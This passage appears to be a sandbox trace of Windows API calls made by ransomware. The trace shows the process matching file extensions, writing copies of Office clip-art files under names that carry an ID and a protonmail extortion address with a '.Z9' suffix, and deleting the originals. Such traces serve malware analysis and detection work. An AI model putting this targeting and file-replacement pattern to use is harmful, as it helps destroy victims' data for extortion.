	[0084.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0084.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0084.896] lstrlenW (lpString=".doc") returned 4
	[0084.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString=".docx") returned 5
	[0084.897] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.897] lstrlenW (lpString=".pdf") returned 4
	[0084.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.897] lstrlenW (lpString=".xls") returned 4
	[0084.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.897] lstrlenW (lpString=".xlsx") returned 5
	[0084.897] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.897] lstrlenW (lpString=".ppt") returned 4
	[0084.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0084.897] lstrlenW (lpString=".zip") returned 4
	[0084.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.897] lstrlenW (lpString=".rar") returned 4
	[0084.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.897] lstrlenW (lpString=".bz2") returned 4
	[0084.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.897] lstrlenW (lpString=".7z") returned 3
	[0084.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0084.897] lstrlenW (lpString=".dbf") returned 4
	[0084.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0084.897] lstrlenW (lpString=".1cd") returned 4
	[0084.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0084.897] lstrlenW (lpString=".jpg") returned 4
	[0084.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.897] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.897] lstrlenW (lpString="BL00130_.WMF") returned 12
	[0084.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.898] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1464) returned 1
	[0084.898] CloseHandle (hObject=0x2bc) returned 1
	[0084.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220
	[0084.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.899] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.899] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0084.899] GetLastError () returned 0x0
	[0084.899] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x5b8, lpOverlapped=0x0) returned 1
	[0084.900] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0084.901] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.901] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.901] SetEndOfFile (hFile=0x39c) returned 1
	[0084.902] CloseHandle (hObject=0x39c) returned 1
	[0084.902] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.902] SetEndOfFile (hFile=0x2bc) returned 1
	[0084.903] CloseHandle (hObject=0x2bc) returned 1
	[0084.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1
	[0084.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0084.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0084.904] lstrlenW (lpString=".doc") returned 4
	[0084.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.904] lstrlenW (lpString=".docx") returned 5
	[0084.904] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.904] lstrlenW (lpString=".pdf") returned 4
	[0084.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.904] lstrlenW (lpString=".xls") returned 4
	[0084.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.904] lstrlenW (lpString=".xlsx") returned 5
	[0084.904] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.904] lstrlenW (lpString=".ppt") returned 4
	[0084.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0084.904] lstrlenW (lpString=".zip") returned 4
	[0084.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.904] lstrlenW (lpString=".rar") returned 4
	[0084.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.904] lstrlenW (lpString=".bz2") returned 4
	[0084.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.904] lstrlenW (lpString=".7z") returned 3
	[0084.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0084.905] lstrlenW (lpString=".dbf") returned 4
	[0084.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0084.905] lstrlenW (lpString=".1cd") returned 4
	[0084.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0084.905] lstrlenW (lpString=".jpg") returned 4
	[0084.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0084.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0084.905] lstrlenW (lpString=".doc") returned 4
	[0084.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.905] lstrlenW (lpString=".docx") returned 5
	[0084.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.905] lstrlenW (lpString=".pdf") returned 4
	[0084.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.905] lstrlenW (lpString=".xls") returned 4
	[0084.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.905] lstrlenW (lpString=".xlsx") returned 5
	[0084.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.905] lstrlenW (lpString=".ppt") returned 4
	[0084.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0084.905] lstrlenW (lpString=".zip") returned 4
	[0084.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.905] lstrlenW (lpString=".rar") returned 4
	[0084.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.905] lstrlenW (lpString=".bz2") returned 4
	[0084.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.905] lstrlenW (lpString=".7z") returned 3
	[0084.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0084.906] lstrlenW (lpString=".dbf") returned 4
	[0084.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0084.906] lstrlenW (lpString=".1cd") returned 4
	[0084.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0084.906] lstrlenW (lpString=".jpg") returned 4
	[0084.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.906] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.906] lstrlenW (lpString="BL00148_.WMF") returned 12
	[0084.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.564] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1696) returned 1
	[0085.564] CloseHandle (hObject=0x39c) returned 1
	[0085.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220
	[0085.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.584] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.584] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0085.585] GetLastError () returned 0x0
	[0085.585] ReadFile (in: hFile=0x39c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x6a0, lpOverlapped=0x0) returned 1
	[0085.586] WriteFile (in: hFile=0x324, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x6b0, lpOverlapped=0x0) returned 1
	[0085.588] ReadFile (in: hFile=0x39c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.588] WriteFile (in: hFile=0x324, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.588] SetEndOfFile (hFile=0x324) returned 1
	[0085.588] CloseHandle (hObject=0x324) returned 1
	[0085.589] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.589] SetEndOfFile (hFile=0x39c) returned 1
	[0085.590] CloseHandle (hObject=0x39c) returned 1
	[0085.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1
	[0085.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0085.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0085.591] lstrlenW (lpString=".doc") returned 4
	[0085.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.591] lstrlenW (lpString=".docx") returned 5
	[0085.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.591] lstrlenW (lpString=".pdf") returned 4
	[0085.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.591] lstrlenW (lpString=".xls") returned 4
	[0085.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.591] lstrlenW (lpString=".xlsx") returned 5
	[0085.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.591] lstrlenW (lpString=".ppt") returned 4
	[0085.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0085.591] lstrlenW (lpString=".zip") returned 4
	[0085.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.591] lstrlenW (lpString=".rar") returned 4
	[0085.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.591] lstrlenW (lpString=".bz2") returned 4
	[0085.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.591] lstrlenW (lpString=".7z") returned 3
	[0085.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0085.592] lstrlenW (lpString=".dbf") returned 4
	[0085.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0085.592] lstrlenW (lpString=".1cd") returned 4
	[0085.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0085.592] lstrlenW (lpString=".jpg") returned 4
	[0085.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0085.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0085.592] lstrlenW (lpString=".doc") returned 4
	[0085.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.592] lstrlenW (lpString=".docx") returned 5
	[0085.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.592] lstrlenW (lpString=".pdf") returned 4
	[0085.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.592] lstrlenW (lpString=".xls") returned 4
	[0085.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.592] lstrlenW (lpString=".xlsx") returned 5
	[0085.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.592] lstrlenW (lpString=".ppt") returned 4
	[0085.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0085.592] lstrlenW (lpString=".zip") returned 4
	[0085.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.593] lstrlenW (lpString=".rar") returned 4
	[0085.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.593] lstrlenW (lpString=".bz2") returned 4
	[0085.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.593] lstrlenW (lpString=".7z") returned 3
	[0085.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0085.593] lstrlenW (lpString=".dbf") returned 4
	[0085.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0085.593] lstrlenW (lpString=".1cd") returned 4
	[0085.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0085.593] lstrlenW (lpString=".jpg") returned 4
	[0085.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.593] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.593] lstrlenW (lpString="BL00262_.WMF") returned 12
	[0085.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.594] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2556) returned 1
	[0085.594] CloseHandle (hObject=0x39c) returned 1
	[0085.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220
	[0085.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.594] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.594] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0085.595] GetLastError () returned 0x0
	[0085.595] ReadFile (in: hFile=0x39c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x9fc, lpOverlapped=0x0) returned 1
	[0085.597] WriteFile (in: hFile=0x324, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xa00, lpOverlapped=0x0) returned 1
	[0085.597] ReadFile (in: hFile=0x39c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.597] WriteFile (in: hFile=0x324, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.598] SetEndOfFile (hFile=0x324) returned 1
	[0085.598] CloseHandle (hObject=0x324) returned 1
	[0085.598] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.598] SetEndOfFile (hFile=0x39c) returned 1
	[0085.599] CloseHandle (hObject=0x39c) returned 1
	[0085.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1
	[0085.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0085.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0085.600] lstrlenW (lpString=".doc") returned 4
	[0085.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.600] lstrlenW (lpString=".docx") returned 5
	[0085.600] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.600] lstrlenW (lpString=".pdf") returned 4
	[0085.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.600] lstrlenW (lpString=".xls") returned 4
	[0085.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.600] lstrlenW (lpString=".xlsx") returned 5
	[0085.600] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.600] lstrlenW (lpString=".ppt") returned 4
	[0085.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0085.600] lstrlenW (lpString=".zip") returned 4
	[0085.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.600] lstrlenW (lpString=".rar") returned 4
	[0085.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.601] lstrlenW (lpString=".bz2") returned 4
	[0085.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.601] lstrlenW (lpString=".7z") returned 3
	[0085.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0085.601] lstrlenW (lpString=".dbf") returned 4
	[0085.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0085.601] lstrlenW (lpString=".1cd") returned 4
	[0085.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
